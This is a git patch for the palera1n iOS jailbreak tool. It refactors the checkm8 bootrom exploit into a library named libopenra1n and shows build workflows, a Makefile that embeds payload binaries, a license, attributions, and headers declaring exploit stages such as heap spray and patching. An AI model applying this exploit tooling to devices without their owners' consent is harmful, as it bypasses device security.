From 0cf2c6492f647ed7c67d6ed9a96b04d8cf0a66ef Mon Sep 17 00:00:00 2001 From: c Date: Tue, 21 Jul 2026 20:22:02 -0700 Subject: [PATCH] refactor: libciderra1n support (#764) * refactor refactor: remove wdi refactor: move openra1n to its own library refactor: move everything standalone file to src root * submodule * okay these shouldnt of been included * remove * readd * fix openra1n libusb * liteusb for ra1ncovery * fix action * token * whatever lwra bw apwxidix * I knew this was gonna happen * fix mac build * what if this doesnt work * okay bro * lzma resources * rename * use idevice++, fix multiple devices, enter recovery * whatever * fix * --force-enable-ssv * improve exploit stuff, mirror tui logic to gui also cooool logging for libopenra1n * fix idevice windows build * lets not be fancy * new idevice patch * easier to read * lets hope this action works! * remove useless ifs * not required for non tui * PLEASE COMPILE * gsed lmao * this might work idk * whatever bro * ah * amd fix * fix ts * fix * licensing * update paleinfo * LETS NOT do that * forgot a file --- .github/workflows/build.yml | 95 +- .gitignore | 13 +- .gitmodules | 3 + 1stparty/libciderra1n | 1 + 1stparty/libopenra1n/LICENSE | 201 ++ 1stparty/libopenra1n/Makefile | 65 + 1stparty/libopenra1n/NOTICE | 19 + 1stparty/libopenra1n/README.md | 7 + 1stparty/libopenra1n/include/checkm8.h | 63 + 1stparty/libopenra1n/include/dfu.h | 56 + 1stparty/libopenra1n/include/lz4/lz4.h | 860 +++++ 1stparty/libopenra1n/include/lz4/lz4hc.h | 413 +++ .../libopenra1n/include}/payload.h | 26 +- 1stparty/libopenra1n/include/shim.h | 35 + 1stparty/libopenra1n/include/stage1.h | 58 + 1stparty/libopenra1n/include/usb_iokit.h | 93 + 1stparty/libopenra1n/include/usb_libusb.h | 61 + 1stparty/libopenra1n/include/utils.h | 63 + 1stparty/libopenra1n/payloads/LICENSE | 21 + .../libopenra1n/payloads}/lz4dec.bin | Bin .../libopenra1n/payloads}/yolo_s5l8960x.bin | Bin .../libopenra1n/payloads}/yolo_s8000.bin | Bin .../libopenra1n/payloads}/yolo_s8001.bin | Bin .../libopenra1n/payloads}/yolo_s8003.bin | Bin .../libopenra1n/payloads}/yolo_t7000.bin | Bin .../libopenra1n/payloads}/yolo_t7001.bin | Bin .../libopenra1n/payloads}/yolo_t8010.bin | Bin .../libopenra1n/payloads}/yolo_t8011.bin | Bin .../libopenra1n/payloads}/yolo_t8012.bin | Bin .../libopenra1n/payloads}/yolo_t8015.bin | Bin 1stparty/libopenra1n/src/checkm8.c | 375 +++ 1stparty/libopenra1n/src/dfu.c | 60 + 1stparty/libopenra1n/src/lz4/lz4.c | 2764 +++++++++++++++++ 1stparty/libopenra1n/src/lz4/lz4hc.c | 1637 ++++++++++ .../m8 => 1stparty/libopenra1n/src}/payload.c | 42 +- 1stparty/libopenra1n/src/shim.c | 62 + {src/m8 => 1stparty/libopenra1n/src}/stage1.c | 31 +- 1stparty/libopenra1n/src/usb_iokit.c | 342 ++ 1stparty/libopenra1n/src/usb_libusb.c | 277 ++ 1stparty/libopenra1n/src/utils.c | 127 + CMakeLists.txt | 525 ++-- Makefile | 153 +- README.md | 83 +- .../DFUHelperDeviceInfo.json | 10 +- {images => embedded}/atv_std_brd.png | Bin {images => embedded}/ipad.png | Bin {images => embedded}/ipadmini.png | Bin {images => embedded}/iphone6s.png | Bin {images => embedded}/iphone7.png | Bin {images => embedded}/iphone8.png | Bin {images => embedded}/iphonese.png | Bin {images => embedded}/iphonex.png | Bin {images => embedded}/ipodtouch.png | Bin {images => embedded}/logo.png | Bin {images => embedded}/siriremote.png | Bin ...01-compile-usbmuxd-and-windows-fixes.patch | 129 + .../0001-include-windows-header.patch | 12 - patches/liteusb/0001-cpp-compatible.patch | 26 + .../0001-Allow-empty-x509-cert-issuer.patch | 33 - payloads/README.md | 3 - src/event.cpp | 362 --- src/event.hpp | 49 - src/events/device_info.cpp | 87 + src/events/device_info.hpp | 382 +++ src/events/event.cpp | 493 +++ src/events/event.hpp | 72 + src/events/ra1ncovery/hotplug.cpp | 419 +++ src/events/ra1ncovery/hotplug.hpp | 82 + src/exploit.c | 389 +++ src/exploit.h | 63 + src/globals.c | 64 +- src/globals.h | 32 +- src/m8/checkm8.c | 239 -- src/m8/checkm8.h | 23 - src/m8/dfu.c | 27 - src/m8/dfu.h | 35 - src/m8/run.c | 290 -- src/m8/run.h | 44 - src/m8/stage1.h | 31 - src/main.cpp | 124 +- src/paleinfo.h | 14 +- src/pongo_helper.c | 278 ++ src/pongo_helper.h | 57 + src/sequence.cpp | 34 +- src/sequence.hpp | 27 + src/tui/Tui.cpp | 30 +- src/tui/Tui.hpp | 29 +- src/tui/TuiBranding.cpp | 27 + src/tui/TuiBranding.hpp | 27 + src/tui/TuiDfuArt.cpp | 27 + src/tui/TuiDfuArt.hpp | 27 + src/tui/TuiDfuPanel.cpp | 56 +- src/tui/TuiDfuPanel.hpp | 27 + src/tui/TuiExploitPanel.cpp | 74 +- src/tui/TuiExploitPanel.hpp | 27 + src/tui/TuiMainPanel.cpp | 64 +- src/tui/TuiMainPanel.hpp | 27 + src/tui/TuiPanel.hpp | 29 +- src/tui/TuiRecoveryPanel.cpp | 51 +- src/tui/TuiRecoveryPanel.hpp | 27 + src/tui/TuiSettingsPanel.cpp | 27 + src/tui/TuiSettingsPanel.hpp | 27 + src/tui/TuiText.hpp | 27 + src/usb/driver.c | 256 -- src/usb/driver.h | 28 - src/usb/iokit/usb_iokit.c | 280 -- src/usb/iokit/usb_iokit.h | 62 - src/usb/libusb/usb_libusb.c | 193 -- src/usb/libusb/usb_libusb.h | 39 - src/usb/pongo_helper.c | 149 - src/usb/pongo_helper.h | 15 - src/usb/shim.c | 38 - src/usb/shim.h | 14 - src/utils.c | 86 - src/utils.h | 54 - src/wx/AppFrame.cpp | 31 +- src/wx/AppFrame.hpp | 29 +- src/wx/DevicePanel.hpp | 29 +- src/wx/DfuPanel.cpp | 286 +- src/wx/DfuPanel.hpp | 29 +- src/wx/ExploitPanel.cpp | 75 +- src/wx/ExploitPanel.hpp | 29 +- src/wx/MainPanel.cpp | 66 +- src/wx/MainPanel.hpp | 29 +- src/wx/RecoveryPanel.cpp | 73 +- src/wx/RecoveryPanel.hpp | 27 + src/wx/SettingsPanel.cpp | 33 +- src/wx/SettingsPanel.hpp | 27 + 128 files changed, 12054 insertions(+), 3114 deletions(-) create mode 100644 .gitmodules create mode 160000 1stparty/libciderra1n create mode 100644 1stparty/libopenra1n/LICENSE create mode 100644 1stparty/libopenra1n/Makefile create mode 100644 1stparty/libopenra1n/NOTICE create mode 100644 1stparty/libopenra1n/README.md create mode 100644 1stparty/libopenra1n/include/checkm8.h create mode 100644 1stparty/libopenra1n/include/dfu.h create mode 100644 1stparty/libopenra1n/include/lz4/lz4.h create mode 100644 1stparty/libopenra1n/include/lz4/lz4hc.h rename {src/m8 => 1stparty/libopenra1n/include}/payload.h (60%) create mode 100644 1stparty/libopenra1n/include/shim.h create mode 100644 1stparty/libopenra1n/include/stage1.h create mode 100644 1stparty/libopenra1n/include/usb_iokit.h create mode 100644 1stparty/libopenra1n/include/usb_libusb.h create mode 100644 1stparty/libopenra1n/include/utils.h create mode 100644 1stparty/libopenra1n/payloads/LICENSE rename {payloads => 1stparty/libopenra1n/payloads}/lz4dec.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_s5l8960x.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_s8000.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_s8001.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_s8003.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_t7000.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_t7001.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_t8010.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_t8011.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_t8012.bin (100%) rename {payloads => 1stparty/libopenra1n/payloads}/yolo_t8015.bin (100%) create mode 100644 1stparty/libopenra1n/src/checkm8.c create mode 100644 1stparty/libopenra1n/src/dfu.c create mode 100644 1stparty/libopenra1n/src/lz4/lz4.c create mode 100644 1stparty/libopenra1n/src/lz4/lz4hc.c rename {src/m8 => 1stparty/libopenra1n/src}/payload.c (90%) create mode 100644 1stparty/libopenra1n/src/shim.c rename {src/m8 => 1stparty/libopenra1n/src}/stage1.c (89%) create mode 100644 1stparty/libopenra1n/src/usb_iokit.c create mode 100644 1stparty/libopenra1n/src/usb_libusb.c create mode 100644 1stparty/libopenra1n/src/utils.c rename {resources => embedded}/DFUHelperDeviceInfo.json (98%) rename {images => embedded}/atv_std_brd.png (100%) rename {images => embedded}/ipad.png (100%) rename {images => embedded}/ipadmini.png (100%) rename {images => embedded}/iphone6s.png (100%) rename {images => embedded}/iphone7.png (100%) rename {images => embedded}/iphone8.png (100%) rename {images => embedded}/iphonese.png (100%) rename {images => embedded}/iphonex.png (100%) rename {images => embedded}/ipodtouch.png (100%) rename {images => embedded}/logo.png (100%) rename {images => embedded}/siriremote.png (100%) create mode 100644 patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch delete mode 100644 patches/libimobiledevice/0001-include-windows-header.patch create mode 100644 patches/liteusb/0001-cpp-compatible.patch delete mode 100644 patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch delete mode 100644 payloads/README.md delete mode 100644 src/event.cpp delete mode 100644 src/event.hpp create mode 100644 src/events/device_info.cpp create mode 100644 src/events/device_info.hpp create mode 100644 src/events/event.cpp create mode 100644 src/events/event.hpp create mode 100644 src/events/ra1ncovery/hotplug.cpp create mode 100644 src/events/ra1ncovery/hotplug.hpp create mode 100644 src/exploit.c create mode 100644 src/exploit.h delete mode 100644 src/m8/checkm8.c delete mode 100644 src/m8/checkm8.h delete mode 100644 src/m8/dfu.c delete mode 100644 src/m8/dfu.h delete mode 100644 src/m8/run.c delete mode 100644 src/m8/run.h delete mode 100644 src/m8/stage1.h create mode 100644 src/pongo_helper.c create mode 100644 src/pongo_helper.h delete mode 100644 src/usb/driver.c delete mode 100644 src/usb/driver.h delete mode 100644 src/usb/iokit/usb_iokit.c delete mode 100644 src/usb/iokit/usb_iokit.h delete mode 100644 src/usb/libusb/usb_libusb.c delete mode 100644 src/usb/libusb/usb_libusb.h delete mode 100644 src/usb/pongo_helper.c delete mode 100644 src/usb/pongo_helper.h delete mode 100644 src/usb/shim.c delete mode 100644 src/usb/shim.h delete mode 100644 src/utils.c delete mode 100644 src/utils.h diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 21ea342..633959d 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -89,18 +89,21 @@ jobs: steps: - uses: actions/checkout@v4 + with: + token: ${{ secrets.BUILD_GITHUB_TOKEN }} + submodules: recursive - name: Download Pongo uses: actions/download-artifact@v4 with: name: pongo - path: payloads/ + path: embedded/ - name: Download embedded artifacts uses: actions/download-artifact@v4 with: name: embedded - path: payloads/ + path: embedded/ - name: Download musl toolchain run: | @@ -109,6 +112,23 @@ jobs: find ./${{ matrix.triple }}-cross -name "*.la" -type f -delete echo "$(pwd)/${{ matrix.triple }}-cross/bin" >> $GITHUB_PATH + - name: Install Rust target + run: | + case "${{ matrix.triple }}" in + i486-linux-musl) + rustup target add i686-unknown-linux-musl + ;; + x86_64-linux-musl) + rustup target add x86_64-unknown-linux-musl + ;; + armel-linux-musleabi) + rustup target add arm-unknown-linux-musleabi + ;; + aarch64-linux-musl) + rustup target add aarch64-unknown-linux-musl + ;; + esac + - name: Install dependencies (apt) run: | sudo apt update @@ -122,6 +142,7 @@ jobs: make palera1n \ WITH_STATIC=1 \ WITH_TUI=1 \ + WITH_CIDERRAIN=1 \ BUILD_TYPE=Release \ CMAKE_SYSROOT="$SYSROOT_PATH" \ CROSS_HOST_TRIPLE="${{ matrix.triple }}" \ @@ -149,18 +170,21 @@ jobs: steps: - uses: actions/checkout@v4 + with: + token: ${{ secrets.BUILD_GITHUB_TOKEN }} + submodules: recursive - name: Download Pongo uses: actions/download-artifact@v4 with: name: pongo - path: payloads/ + path: embedded/ - name : Download embedded artifacts uses: actions/download-artifact@v4 with: name: embedded - path: payloads/ + path: embedded/ - name: Install dependencies (brew) run: | @@ -169,7 +193,7 @@ jobs: - name: Build run: | - make palera1n WITH_STATIC=1 WITH_GUI=1 WITH_TUI=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu) + make palera1n WITH_STATIC=1 WITH_GUI=1 WITH_TUI=1 WITH_CIDERRAIN=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu) strip -x build/palera1n.app/Contents/MacOS/palera1n - name: Package @@ -183,6 +207,45 @@ jobs: path: | build/palera1n-macos-${{ matrix.arch }}.zip + build-ios: + runs-on: macos-latest + needs: [build-pongo, build-ramdisk] + + steps: + - uses: actions/checkout@v4 + with: + token: ${{ secrets.BUILD_GITHUB_TOKEN }} + submodules: recursive + + - name: Download Pongo + uses: actions/download-artifact@v4 + with: + name: pongo + path: embedded/ + + - name : Download embedded artifacts + uses: actions/download-artifact@v4 + with: + name: embedded + path: embedded/ + + - name: Install dependencies (brew) + run: | + brew update + brew install cmake libtool gnu-sed + + - name: Build + run: | + make palera1n_xcode PLATFORM=iphoneos WITH_STATIC=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu) + cmake --build build + + - name: Upload + uses: actions/upload-artifact@v4 + with: + name: palera1n-iphoneos-arm64 + path: | + build/Debug-iphoneos/palera1n.app/palera1n + build-macos-universal: runs-on: macos-latest needs: [build-macos] @@ -243,12 +306,6 @@ jobs: runs-on: windows-latest needs: [build-pongo, build-ramdisk] - env: - LIBUSBK_VERSION: libusbK-3.1.0.0-bin - LIBUSBK_URL: https://github.com/mcuee/libusbk/releases/download/V3.1.0.0/ - LIBUSBK_WDFCOINSTALLER: libusbK/bin/sys/amd64/WdfCoInstaller01009.dll - LIBUSBK_WDFCOINSTALLER_RENAMED: libusbK/bin/sys/amd64/WdfCoInstaller1011.dll - steps: - uses: actions/checkout@v4 @@ -256,21 +313,13 @@ jobs: uses: actions/download-artifact@v4 with: name: pongo - path: payloads/ + path: embedded/ - name: Download embedded artifacts uses: actions/download-artifact@v4 with: name: embedded - path: payloads/ - - - name: Download libusbK drivers - shell: bash - run: | - curl -LO "${LIBUSBK_URL}${LIBUSBK_VERSION}.7z" - 7z x "${LIBUSBK_VERSION}.7z" -olibusbK-tmp - mv "libusbK-tmp/${LIBUSBK_VERSION}" libusbK - mv "${LIBUSBK_WDFCOINSTALLER}" "${LIBUSBK_WDFCOINSTALLER_RENAMED}" + path: embedded/ - name: Install dependencies (choco) run: choco install nsis.portable @@ -283,6 +332,8 @@ jobs: git mingw-w64-x86_64-toolchain mingw-w64-x86_64-cmake + mingw-w64-x86_64-libusb + mingw-w64-x86_64-rust libtool openssl openssl-devel @@ -300,7 +351,7 @@ jobs: run: | make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release JOBS=$(nproc) strip -s build/palera1n.exe - + - name: Package run: | mkdir -p dist\installer diff --git a/.gitignore b/.gitignore index 41e1efc..65d76ac 100644 --- a/.gitignore +++ b/.gitignore @@ -2,15 +2,18 @@ build/ dist/ .DS_Store -src/gen/ -payloads/Pongo.bin -payloads/checkra1n-kpf-pongo -payloads/ramdisk.dmg -payloads/binpack.dmg +gen/ +embedded/Pongo.bin +embedded/checkra1n-kpf-pongo +embedded/ramdisk.dmg +embedded/binpack.dmg +apple-include-* libusbK/ libusbK-tmp/ + *.7z *.tgz *.tar.gz +*.lzma *-cross diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..9dc4a5c --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "1stparty/libciderra1n"] + path = 1stparty/libciderra1n + url = https://github.com/kok3shidoll/libciderra1n.git diff --git a/1stparty/libciderra1n b/1stparty/libciderra1n new file mode 160000 index 0000000..fcb70e4 --- /dev/null +++ b/1stparty/libciderra1n @@ -0,0 +1 @@ +Subproject commit fcb70e481b41836aa17156dc950e317f4dc413ad diff --git a/1stparty/libopenra1n/LICENSE b/1stparty/libopenra1n/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/1stparty/libopenra1n/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/1stparty/libopenra1n/Makefile b/1stparty/libopenra1n/Makefile new file mode 100644 index 0000000..84252ec --- /dev/null +++ b/1stparty/libopenra1n/Makefile @@ -0,0 +1,65 @@ +RM ?= rm +MKDIR ?= mkdir +CP ?= cp +CC ?= cc +AR ?= ar +ARFLAGS ?= rcs +XXD ?= xxd +SED ?= sed + +BUILD := build +SRC := src +INCLUDE := include + +OBJDIR = $(SRC)/build +LIBDIR := $(BUILD)/lib +INCDIR := $(BUILD)/include + +NAME := openra1n +LIBNAME := lib$(NAME).a + +CFLAGS += -I$(INCLUDE) -I$(SRC) -I$(SRC)/gen + +SRCS := $(shell find $(SRC) -name '*.c') +OBJS := $(patsubst $(SRC)/%.c,$(OBJDIR)/%.o,$(SRCS)) + +.PHONY: all payloads library headers clean + +all: payloads library headers + +payloads: + $(MKDIR) -p $(INCLUDE)/gen/payloads + + @for file in payloads/*; do \ + name=$$(basename "$$file"); \ + name=$${name%.*}; \ + echo " XXD $$file"; \ + echo "#pragma once" > "$(INCLUDE)/gen/payloads/$$name.h"; \ + $(XXD) -i "$$file" \ + | $(SED) 's/unsigned char/static const unsigned char/g' \ + | $(SED) 's/unsigned int/static const size_t/g' \ + >> "$(INCLUDE)/gen/payloads/$$name.h"; \ + done + +$(OBJDIR)/%.o: $(SRC)/%.c + @$(MKDIR) -p $(dir $@) + $(CC) $(CFLAGS) -c $< -o $@ + +library: $(OBJS) + $(MKDIR) -p $(LIBDIR)/${NAME} + $(AR) $(ARFLAGS) $(LIBDIR)/${NAME}/$(LIBNAME) $(OBJS) + +headers: + $(MKDIR) -p $(INCDIR)/${NAME} + $(CP) $(INCLUDE)/checkm8.h \ + $(INCLUDE)/shim.h \ + $(INCLUDE)/usb_iokit.h \ + $(INCLUDE)/usb_libusb.h \ + $(INCLUDE)/dfu.h \ + $(INCLUDE)/payload.h \ + $(INCLUDE)/utils.h \ + $(INCDIR)/${NAME}/ + +clean: + $(RM) -rf $(BUILD) + $(RM) -rf $(SRC)/$(BUILD) diff --git a/1stparty/libopenra1n/NOTICE b/1stparty/libopenra1n/NOTICE new file mode 100644 index 0000000..bfbe69d --- /dev/null +++ b/1stparty/libopenra1n/NOTICE @@ -0,0 +1,19 @@ +Gaster +Copyright (c) 2023 0x7ff + +Openra1n +Copyright (c) 2024 Mineek. + +Gaster was modified by Mineek to include support for booting PongoOS +payloads, by sending the device into download mode with extracted +stage2 payloads from Checkra1n. + +libOpenra1n +Copyright (c) 2026 palera1n team + +Openra1n was modified into a importable library for use in palera1n, +(libOpenra1n) along side another checkm8 backend (closed source). + +Many changes included are mainly for overall better practices and +readability, like better error handling. Other changes include +more verbose logging, fixes for libusb/iokit, and a ROP generator. diff --git a/1stparty/libopenra1n/README.md b/1stparty/libopenra1n/README.md new file mode 100644 index 0000000..021f717 --- /dev/null +++ b/1stparty/libopenra1n/README.md @@ -0,0 +1,7 @@ +# openra1n +custom pongoOS booter for checkra1n 1337 + +## Attributions +- [gaster](https://github.com/0x7ff/gaster) - base of the project +- [checkra1n](https://checkra.in/) - yeah, do i really need to explain this one? +- [ra1npoc15](https://github.com/kok3shidoll/ra1npoc) - payloads diff --git a/1stparty/libopenra1n/include/checkm8.h b/1stparty/libopenra1n/include/checkm8.h new file mode 100644 index 0000000..4b47725 --- /dev/null +++ b/1stparty/libopenra1n/include/checkm8.h @@ -0,0 +1,63 @@ +/* + * palera1n - https://palera.in + * + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef LIBOPENRA1N__CHECKM8_H +#define LIBOPENRA1N__CHECKM8_H + +#include + +#include "payload.h" +#include "shim.h" + +#define EP0_MAX_PACKET_SZ (0x40) +#define USB_MAX_STRING_DESCRIPTOR_IDX (10) + +#ifndef MIN +# define MIN(a, b) ((a) < (b) ? (a) : (b)) +#endif + +typedef enum { + CHECKM8_ERR_NONE = 0, + CHECKM8_ERR_UNSUPPORTED = 1, + CHECKM8_ERR_TRANSFER_FAILED = 3, + CHECKM8_ERR_TIMEOUT = 4, + CHECKM8_ERR_ABORT = 5, + CHECKM8_ERR_INVALID_PAYLOAD = 15, + + CHECKM8_ERR_UNDEFINED = 255, +} checkm8_err_t; + +#ifdef __cplusplus +extern "C" { +#endif + +char *get_usb_serial_number(usb_handle_t *handle); +checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle); +checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig); +checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig); +checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig); +bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len); +checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len); + +#ifdef __cplusplus +} +#endif + +#endif // LIBOPENRA1N__CHECKM8_H diff --git a/1stparty/libopenra1n/include/dfu.h b/1stparty/libopenra1n/include/dfu.h new file mode 100644 index 0000000..f8cc349 --- /dev/null +++ b/1stparty/libopenra1n/include/dfu.h @@ -0,0 +1,56 @@ +/* + * palera1n - https://palera.in + * + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef LIBOPENRA1N__DFU_H +#define LIBOPENRA1N__DFU_H + +#include +#include + +#define DFU_DNLOAD 1 +#define DFU_UPLOAD 2 +#define DFU_GET_STATUS 3 +#define DFU_CLR_STATUS 4 +#define DFU_GETSTATE 5 +#define DFU_ABORT 6 + +#define DFU_FILE_SUFFIX_LEN 16 +#define EP0_MAX_PACKET_SIZE 0x40 +#define DFU_MAX_TRANSFER_SZ 0x800 +#define DFU_STATUS_OK 0 +#define DFU_STATE_MANIFEST_SYNC 6 